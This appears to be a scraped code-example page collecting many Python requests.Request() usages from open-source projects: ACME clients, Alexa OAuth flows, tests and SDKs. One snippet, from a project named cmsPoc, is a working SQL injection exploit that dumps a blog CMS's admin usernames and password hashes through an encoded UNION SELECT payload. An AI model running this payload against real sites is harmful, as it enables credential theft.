python类request()的实例源码

client.py 文件源码 项目:TCP-IP 作者: JackZ0 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def request_challenges(self, identifier, new_authzr_uri=None):
        """Request challenges.

        :param .messages.Identifier identifier: Identifier to be challenged.
        :param str new_authzr_uri: Deprecated. Do not use.

        :returns: Authorization Resource.
        :rtype: `.AuthorizationResource`

        """
        if new_authzr_uri is not None:
            logger.debug("request_challenges with new_authzr_uri deprecated.")
        new_authz = messages.NewAuthorization(identifier=identifier)
        response = self.net.post(self.directory.new_authz, new_authz)
        # TODO: handle errors
        assert response.status_code == http_client.CREATED
        return self._authzr_from_response(response, identifier)
client.py 文件源码 项目:TCP-IP 作者: JackZ0 项目源码 文件源码 阅读 32 收藏 0 点赞 0 评论 0
def request_domain_challenges(self, domain, new_authzr_uri=None):
        """Request challenges for domain names.

        This is simply a convenience function that wraps around
        `request_challenges`, but works with domain names instead of
        generic identifiers. See ``request_challenges`` for more
        documentation.

        :param str domain: Domain name to be challenged.
        :param str new_authzr_uri: Deprecated. Do not use.

        :returns: Authorization Resource.
        :rtype: `.AuthorizationResource`

        """
        return self.request_challenges(messages.Identifier(
            typ=messages.IDENTIFIER_FQDN, value=domain), new_authzr_uri)
auth_web.py 文件源码 项目:AlexaPiDEPRECATED 作者: alexa-pi 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def index(self):
        scope="alexa_all"
        sd = json.dumps({
            "alexa:all": {
                "productID": ProductID,
                "productInstanceAttributes": {
                    "deviceSerialNumber": "001"
                }
            }
        })
        url = "https://www.amazon.com/ap/oa"
        callback = cherrypy.url()  + "code" 
        payload = {"client_id" : Client_ID, "scope" : "alexa:all", "scope_data" : sd, "response_type" : "code", "redirect_uri" : callback }
        req = requests.Request('GET', url, params=payload)
        p = req.prepare()
        raise cherrypy.HTTPRedirect(p.url)
auth_web.py 文件源码 项目:AlexaPi 作者: HighTeckMan 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def index(self):
        scope="alexa_all"
        sd = json.dumps({
            "alexa:all": {
                "productID": ProductID,
                "productInstanceAttributes": {
                    "deviceSerialNumber": "001"
                }
            }
        })
        url = "https://www.amazon.com/ap/oa"
        callback = cherrypy.url()  + "code" 
        payload = {"client_id" : Client_ID, "scope" : "alexa:all", "scope_data" : sd, "response_type" : "code", "redirect_uri" : callback }
        req = requests.Request('GET', url, params=payload)
        p = req.prepare()
        raise cherrypy.HTTPRedirect(p.url)
v106_sqlinject_getpasswd.py 文件源码 项目:cmsPoc 作者: CHYbeta 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def poc():
    try:
        if  not target.url.endswith("hit.php"):
            print("[*] Please make sure the url end with 'hit.php'")
            exit()
        s = Session()
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        payload = "?g=arthit&id=0+uni%6fn+s%65l%65ct+1,1,1,1,1,1,group_concat(id,0x3c62723e,adnaa,0x3c62723e,adpss,0x3c62723e),1,1,1,1,1+fro%6d+axublog_adusers"
        url = target.url + payload
        req = Request('GET', url)
        prepped = s.prepare_request(req)
        prepped.url = prepped.url.replace('o', '%6f')
        prepped.url = prepped.url.replace('e', '%65')
        resp = s.send(prepped)
        p = re.compile("(?<=document.write\(1<br>)(.*)(?=<br>\);)")
        result = re.search(p,resp.text).group(0).split('<br>')
        print("[*] Get the username : "+ result[0])
        print("[*] Get the password(encrypted) : "+ result[1])
        # r = requests.get(url,proxies=proxy)
        # print(r.text)
        print("\033[33m[*] Complete this task: {} \033[0m".format(target.url))
    except (KeyError,AttributeError) as e:
        print("\033[31m[!] This poc doesn't seem to work.Please try another one.\033[0m")
11_10_requests_throttling.py 文件源码 项目:Python-Network-Programming-Cookbook-Second-Edition 作者: PacktPublishing 项目源码 文件源码 阅读 18 收藏 0 点赞 0 评论 0
def main(address):

    # Throttle the requests with the BaseThrottler, delaying 1.5s.
    bt = BaseThrottler(name='base-throttler', delay=1.5)

    # Visit the address provided by the user. Complete URL only.
    r = requests.Request(method='GET', url=address)

    # 10 requests.
    reqs = [r for i in range(0, 10)]

    # Submit the requests with the required throttling.
    with bt:
        throttled_requests = bt.submit(reqs)

    # Print the response for each of the requests.
    for r in throttled_requests:
        print (r.response)

    # Final status of the requests.
    print ("Success: {s}, Failures: {f}".format(s=bt.successes, f=bt.failures))
helper.py 文件源码 项目:kuberdock-platform 作者: cloudlinux 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def _run(self, act, res, args):
        try:
            with warnings.catch_warnings():
                warnings.simplefilter("ignore")
                url = self._make_url(res)
                request_object = requests.Request(method=act, url=url, **args)
                request_object = self.conn.prepare_request(request_object)
                self.request_logger.log_curl_request(request_object)
                req = self.conn.send(request_object)
                self.request_logger.log_http_response(req)
                return self._return_request(req)
        except requests.exceptions.ConnectionError as e:
            return self._raise_error(str(e))
        except requests.exceptions.HTTPError as e:
            try:
                res = req.json()
                res = res['data']
            except:
                res = str(e)
            return self._raise_error(res)
helper.py 文件源码 项目:kuberdock-platform 作者: cloudlinux 项目源码 文件源码 阅读 34 收藏 0 点赞 0 评论 0
def log_curl_request(self, request):
        self.logger.debug('#################### Request ####################')
        curl = ['curl -i -L -X %s' % request.method]

        for (key, value) in request.headers.items():
            header = '-H \'%s: %s\'' % self._process_header(key, value)
            curl.append(header)

        if not self.session.verify:
            curl.append('-k')
        elif isinstance(self.session.verify, basestring):
            curl.append('--cacert %s' % self.session.verify)

        if self.session.cert:
            curl.append('--cert %s' % self.session.cert[0])
            curl.append('--key %s' % self.session.cert[1])

        if request.body:
            curl.append('-d \'%s\'' % request.body)

        curl.append('"%s"' % request.url)
        self.logger.debug(' '.join(curl))
timing-collector.py 文件源码 项目:pico 作者: andresriancho 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def send_with_naive_timing(session, url, token):
    # Prepare the request this way to avoid the auto-added User-Agent and Accept
    # headers.
    #
    # TODO: What happens if I want to send data? Do I need to add the
    #       Content-Type header manually?
    req = requests.Request('GET',
                           url,
                           headers={'Authorization': 'Token %s' % token,
                                    'Accept-Encoding': 'identity'}
                           )
    prepared_request = req.prepare()

    response = session.send(prepared_request,
                            allow_redirects=False,
                            verify=False)
    naive_time = response.elapsed.microseconds

    return response, naive_time
notifications.py 文件源码 项目:backpack.py 作者: Zwork101 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def add_listing_alert(self, intent, type, item_raw_name, blanket=1, craftable=True):
        url = Notifications.ITEM_ALERT+ type +'/'+ parse.quote(item_raw_name) + '/Tradable/'
        data = {
            "user-id": self.cookies['user-id'],
            "item_name":type + ' ' + item_raw_name,
            "intent":intent,
            "blanket":blanket
        }
        if craftable:
            url += 'Craftable'
        else:
            url += 'Non-Craftable'
        headers = Notifications.gen_headers('/classifieds/subscriptions', url, 'PUT')
        r = requests.Request('PUT', Notifications.ITEM_ALERT, data=data, headers=headers, cookies=self.cookies)
        prepped = r.prepare()
        return self._session.send(prepped)
test_requests.py 文件源码 项目:ruffruffs 作者: di 项目源码 文件源码 阅读 37 收藏 0 点赞 0 评论 0
def test_prepared_from_session(self, httpbin):
        class DummyAuth(requests.auth.AuthBase):
            def __call__(self, r):
                r.headers['Dummy-Auth-Test'] = 'dummy-auth-test-ok'
                return r

        req = requests.Request('GET', httpbin('headers'))
        assert not req.auth

        s = requests.Session()
        s.auth = DummyAuth()

        prep = s.prepare_request(req)
        resp = s.send(prep)

        assert resp.json()['headers'][
            'Dummy-Auth-Test'] == 'dummy-auth-test-ok'
test_requests.py 文件源码 项目:ruffruffs 作者: di 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def test_requests_are_updated_each_time(httpbin):
    session = RedirectSession([303, 307])
    prep = requests.Request('POST', httpbin('post')).prepare()
    r0 = session.send(prep)
    assert r0.request.method == 'POST'
    assert session.calls[-1] == SendCall((r0.request,), {})
    redirect_generator = session.resolve_redirects(r0, prep)
    default_keyword_args = {
        'stream': False,
        'verify': True,
        'cert': None,
        'timeout': None,
        'allow_redirects': False,
        'proxies': {},
    }
    for response in redirect_generator:
        assert response.request.method == 'GET'
        send_call = SendCall((response.request,), default_keyword_args)
        assert session.calls[-1] == send_call
auth_web.py 文件源码 项目:AlexaBeagleBone2 作者: merdahl 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def index(self):
        scope="alexa_all"
        sd = json.dumps({
            "alexa:all": {
                "productID": ProductID,
                "productInstanceAttributes": {
                    "deviceSerialNumber": "001"
                }
            }
        })
        url = "https://www.amazon.com/ap/oa"

        # Establish AMZN callback URL
        callback = cherrypy.url()  + "code"

        payload = { "client_id" : Client_ID,
                    "scope" : "alexa:all",
                    "scope_data" : sd,
                    "response_type" : "code", 
                    "redirect_uri" : callback }

        req = requests.Request('GET', url, params=payload)
        p = req.prepare()
        raise cherrypy.HTTPRedirect(p.url)
browser.py 文件源码 项目:openqa_review 作者: okurz 项目源码 文件源码 阅读 38 收藏 0 点赞 0 评论 0
def _get(self, url, as_json=False):  # pragma: no cover
        for i in range(1, 7):
            try:
                r = requests.get(url, auth=self.auth)
            except requests.exceptions.ConnectionError:
                log.info("Connection error encountered accessing %s, retrying try %s" % (url, i))
                continue
            if r.status_code == 502:
                log.info("Request to %s failed with status code 502, retrying try %s" % (url, i))
                continue
            if r.status_code != 200:
                msg = "Request to %s was not successful, status code: %s" % (url, r.status_code)
                log.info(msg)
                raise DownloadError(msg)
            break
        else:
            msg = "Request to %s was not successful after multiple retries, giving up. Status code: %s" % (url, r.status_code)
            log.warn(msg)
            raise DownloadError(msg)
        content = r.json() if as_json else r.content.decode('utf8')
        return content
auth_web.py 文件源码 项目:AlexaPi 作者: kgpayne 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def index(self):
        scope="alexa_all"
        sd = json.dumps({
            "alexa:all": {
                "productID": ProductID,
                "productInstanceAttributes": {
                    "deviceSerialNumber": "001"
                }
            }
        })
        url = "https://www.amazon.com/ap/oa"
        callback = cherrypy.url()  + "code" 
        payload = {"client_id" : Client_ID, "scope" : "alexa:all", "scope_data" : sd, "response_type" : "code", "redirect_uri" : callback }
        req = requests.Request('GET', url, params=payload)
        p = req.prepare()
        raise cherrypy.HTTPRedirect(p.url)
act.py 文件源码 项目:NintendoClients 作者: Kinnay 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def login(self, username, password, hash=False):
        data = {
            "grant_type": "password",
            "user_id": username,
            "password": password
        }
        if hash:
            data["password_type"] = "hash"

        request = Request(self)
        response = request.get(
            "oauth20/access_token/generate",
            data = data
        )

        self.access_token = response.oauth20.access_token.token.text
        self.refresh_token = response.oauth20.access_token.refresh_token.text
        self.refresh_time = time.time() + int(response.oauth20.access_token.expires_in.text)
client.py 文件源码 项目:certbot 作者: nikoloskii 项目源码 文件源码 阅读 20 收藏 0 点赞 0 评论 0
def request_challenges(self, identifier, new_authzr_uri=None):
        """Request challenges.

        :param .messages.Identifier identifier: Identifier to be challenged.
        :param str new_authzr_uri: ``new-authorization`` URI. If omitted,
            will default to value found in ``directory``.

        :returns: Authorization Resource.
        :rtype: `.AuthorizationResource`

        """
        new_authz = messages.NewAuthorization(identifier=identifier)
        response = self.net.post(self.directory.new_authz
                                 if new_authzr_uri is None else new_authzr_uri,
                                 new_authz)
        # TODO: handle errors
        assert response.status_code == http_client.CREATED
        return self._authzr_from_response(response, identifier)
client.py 文件源码 项目:certbot 作者: nikoloskii 项目源码 文件源码 阅读 162 收藏 0 点赞 0 评论 0
def request_domain_challenges(self, domain, new_authzr_uri=None):
        """Request challenges for domain names.

        This is simply a convenience function that wraps around
        `request_challenges`, but works with domain names instead of
        generic identifiers. See ``request_challenges`` for more
        documentation.

        :param str domain: Domain name to be challenged.

        :returns: Authorization Resource.
        :rtype: `.AuthorizationResource`

        """
        return self.request_challenges(messages.Identifier(
            typ=messages.IDENTIFIER_FQDN, value=domain), new_authzr_uri)
tool_outbound.py 文件源码 项目:lti 作者: pylti 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def generate_launch_request(self, **kwargs):
        """
        returns a Oauth v1 "signed" requests.PreparedRequest instance
        """

        if not self.has_required_params():
            raise InvalidLTIConfigError(
                'Consumer\'s launch params missing one of '
                + str(LAUNCH_PARAMS_REQUIRED)
            )

        params = self.to_params()
        r = Request('POST', self.launch_url, data=params).prepare()
        sign = OAuth1(self.consumer_key, self.consumer_secret,
                                signature_type=SIGNATURE_TYPE_BODY, **kwargs)
        return sign(r)
get_json.py 文件源码 项目:talk-network-retries 作者: marchukov 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def get_retry_extended():
    retry = urllib3.util.Retry(total=MAX_RETRIES, connect=MAX_RETRIES, read=MAX_RETRIES, backoff_factor=BACKOFF_FACTOR)

    def attempt(url, retry=retry):
        try:
            # this essentially creates a new connection pool per request :-(
            session = requests.Session()
            adapter = requests.adapters.HTTPAdapter(max_retries=retry)
            session.mount(RETRY_PREFIX, adapter)
            req = requests.Request('GET', url).prepare()
            # would be nice just to pass retry here, but we cannot :-(
            r = session.send(req, timeout=TIMEOUT)
            r.raise_for_status()
#        except MaxRetryError:
#            raise
        except ConnectionError as e:
            #  increment() will return a new Retry() object
            retry = retry.increment(req.method, url, error=e)
            retry.sleep()
            logging.warning("Retrying (%r) after connection broken by '%r': '%s'", retry, e, url)
            return attempt(url, retry=retry)
        return r

    return attempt(URL).json()
get_json.py 文件源码 项目:talk-network-retries 作者: marchukov 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def get_content_aware():
    retry = urllib3.util.Retry(total=MAX_RETRIES,
                               connect=MAX_RETRIES,
                               read=MAX_RETRIES,
                               backoff_factor=BACKOFF_FACTOR)

    def attempt(url, retry=retry):
        try:
            session = requests.Session()
            adapter = requests.adapters.HTTPAdapter(max_retries=retry)
            session.mount(RETRY_PREFIX, adapter)
            req = requests.Request('GET', url).prepare()
            r = session.send(req, timeout=TIMEOUT)
            r.raise_for_status()
            j = r.json()
        # DEMO ONLY. TypeError is too wide to handle here
        except (ConnectionError, TypeError) as e:
            retry = retry.increment(req.method, url, error=e)
            retry.sleep()
            logging.warning("Retrying (%r) after connection broken by '%r': '%s'", retry, e, url)
            return attempt(url, retry=retry)
        return j

    return attempt(URL)
build.py 文件源码 项目:qingstor-sdk-python 作者: yunify 项目源码 文件源码 阅读 36 收藏 0 点赞 0 评论 0
def parse(self):
        parsed_operation = dict()
        parsed_operation["Method"] = self.operation["Method"]
        parsed_operation["URI"] = self.parse_request_uri()
        self.logger.debug("parsed_uri: %s" % parsed_operation["URI"])
        parsed_body, _ = self.parse_request_body()
        if parsed_body:
            parsed_operation["Body"] = parsed_body
        parsed_headers = self.parse_request_headers()
        if parsed_headers:
            parsed_operation["Headers"] = parsed_headers
        req = Req(
            parsed_operation["Method"],
            parsed_operation["URI"],
            data=parsed_body,
            headers=parsed_headers
        )
        return req
auth_web.py 文件源码 项目:matrix-creator-alexa-voice-demo 作者: matrix-io 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def index(self):
        scope = "alexa_all"
        sd = json.dumps({
            "alexa:all": {
                "productID": ProductID,
                "productInstanceAttributes": {
                    "deviceSerialNumber": "001"
                }
            }
        })
        url = "https://www.amazon.com/ap/oa"
        callback = cherrypy.url() + "code"
        payload = {"client_id": Client_ID, "scope": "alexa:all",
                   "scope_data": sd, "response_type": "code", "redirect_uri": callback}
        req = requests.Request('GET', url, params=payload)
        p = req.prepare()
        raise cherrypy.HTTPRedirect(p.url)
test_response.py 文件源码 项目:lets-do-dns 作者: Jitsusama 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def test_properly_raises_correct_record_failure_on_related_method_error(
        mocker, method, exception):
    stub_error = HTTPError()
    stub_raise_for_status = mocker.MagicMock(side_effect=stub_error)
    stub_request = mocker.MagicMock(spec=requests.Request, method=method)
    stub_response = mocker.MagicMock(
        spec=requests.Response,
        raise_for_status=stub_raise_for_status, request=stub_request)

    class_to_mock = 'lets_do_dns.do_domain.response.{}'.format(
        exception.__name__)
    mock_record_failure = mocker.patch(
        class_to_mock, return_value=exception)

    with pytest.raises(exception):
        Response(stub_response)

    mock_record_failure.assert_called_once_with(stub_error)
base.py 文件源码 项目:cbapi-python 作者: carbonblack 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def _url_to_key(self, url):
        session = requests.Session()
        return self.create_key(session.prepare_request(requests.Request('GET', url)))
test_connections.py 文件源码 项目:umapi-client.py 作者: adobe-apiplatform 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def test_ua_string():
    conn = Connection(**mock_connection_params)
    req = conn.session.prepare_request(requests.Request('GET', "http://test.com/"))
    ua_header = req.headers.get("User-Agent")
    assert ua_header.startswith("umapi-client/" + umapi_version)
    assert " Python" in ua_header
    req = conn.session.prepare_request(requests.Request('POST', "http://test.com/", data="This is a test"))
    ua_header = req.headers.get("User-Agent")
    assert ua_header.startswith("umapi-client/" + umapi_version)
    assert " Python" in ua_header
test_connections.py 文件源码 项目:umapi-client.py 作者: adobe-apiplatform 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def test_ua_string_additional():
    conn = Connection(user_agent="additional/1.0", **mock_connection_params)
    req = conn.session.prepare_request(requests.Request('GET', "http://test.com/"))
    ua_header = req.headers.get("User-Agent")
    assert ua_header.startswith("additional/1.0 umapi-client/" + umapi_version)
    req = conn.session.prepare_request(requests.Request('POST', "http://test.com/", data="This is a test"))
    ua_header = req.headers.get("User-Agent")
    assert ua_header.startswith("additional/1.0 umapi-client/" + umapi_version)
cos_client.py 文件源码 项目:cos-python-sdk-v5 作者: tencentyun 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def get_auth(self, Method, Bucket, Key='', Expired=300, Headers={}, Params={}):
        """????

        :param Method(string): http method,?'PUT','GET'.
        :param Bucket(string): ?????.
        :param Key(string): ??COS???.
        :param Expired(int): ??????,???s.
        :param headers(dict): ????http headers.
        :param params(dict): ????http params.
        :return (string): ????V5??.
        """
        url = self._conf.uri(bucket=Bucket, path=quote(Key, '/-_.~'))
        r = Request(Method, url, headers=Headers, params=Params)
        auth = CosS3Auth(self._conf._secret_id, self._conf._secret_key, Key, Params, Expired)
        return auth(r).headers['Authorization']
zmirror.py 文件源码 项目:zmirror 作者: aploium 项目源码 文件源码 阅读 34 收藏 0 点赞 0 评论 0
def response_cookie_rewrite(cookie_string):
    """
    rewrite response cookie string's domain to `my_host_name`
    :type cookie_string: str
    """
    cookie_string = regex_cookie_rewriter.sub('domain=' + my_host_name_no_port, cookie_string)
    return cookie_string


# ################# End Server Response Handler #################


# ################# Begin Client Request Handler #################
rtm_client.py 文件源码 项目:bearychat.py 作者: bearyinnovative 项目源码 文件源码 阅读 19 收藏 0 点赞 0 评论 0
def do(self,
           resource,
           method,
           params=None,
           data=None,
           json=None,
           headers=None):
        """Does the request job

        Args:
            resource(str): resource uri(relative path)
            method(str): HTTP method
            params(dict): uri queries
            data(dict): HTTP body(form)
            json(dict): HTTP body(json)
            headers(dict): HTTP headers

        Returns:
            RTMResponse
        """
        uri = "{0}/{1}".format(self._api_base, resource)
        if not params:
            params = {}
        params.update({'token': self._token})

        req = Request(
            method=method,
            url=uri,
            params=params,
            headers=headers,
            data=data,
            json=json)
        s = Session()
        prepped = s.prepare_request(req)
        resp = s.send(prepped)

        return RTMResponse(resp)


问题


面经


文章

微信
公众号

扫码关注公众号